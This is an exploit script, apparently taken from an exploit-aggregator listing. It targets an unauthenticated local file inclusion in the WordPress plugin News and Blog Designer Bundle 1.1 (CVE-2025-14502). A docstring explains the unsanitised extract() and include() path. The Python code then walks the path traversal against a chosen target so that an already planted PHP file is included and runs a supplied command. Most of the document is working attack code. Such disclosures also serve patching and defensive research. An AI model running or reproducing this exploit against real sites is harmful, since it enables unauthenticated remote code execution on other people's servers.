Share
## https://sploitus.com/exploit?id=PACKETSTORM:226435
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin News and Blog Designer Bundle <= 1.1 - Unauthenticated Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/news-and-blog-designer-bundle/
    # Software Link: https://downloads.wordpress.org/plugin/news-and-blog-designer-bundle.zip
    # Version: 1.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14502
    r"""
    News and Blog Designer Bundle <= 1.1 registers the nopriv AJAX action nbdb_fetch_more_post
    (includes/class-nbdb-ajax.php:16). The handler runs extract($_POST['shrt_param'])
    (class-nbdb-ajax.php:31) โ€” creating a $template variable straight from attacker input โ€” then builds a
    path and includes it (class-nbdb-ajax.php:33/93):
    
        sanitize_text_field(extract($_POST['shrt_param']));           // $template = shrt_param[template]
        $template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
        if (file_exists($template_file_path)) ... include($template_file);
    
    $template is not sanitised, so shrt_param[template]=../../../../uploads/<file> traverses to
    wp-content/uploads and includes an attacker-planted PHP -> RCE.
    
    Prior state: plugin active + a planted .php under wp-content/uploads.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "NBPWN"
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--planted", default="uploads/nbpwn")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--max-depth", type=int, default=7)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        for depth in range(2, args.max_depth + 1):
            tmpl = "../" * depth + args.planted
            d = {"action": "nbdb_fetch_more_post", "shrt_param[template]": tmpl, "shrt_param[foo]": "bar"}
            r = requests.post(base + "/wp-admin/admin-ajax.php", params={"c": args.cmd}, data=d,
                              verify=False, timeout=20)
            if TOK in r.text:
                out = r.text.split(TOK + ":")[1].split("<")[0].strip()
                print(f"[*] Target: {base} | depth {depth}")
                print(f"\n[+] LFI -> RCE CONFIRMED โ€” planted PHP executed:\n{out}")
                return 0
        print("[-] not confirmed (adjust --planted / --max-depth)"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())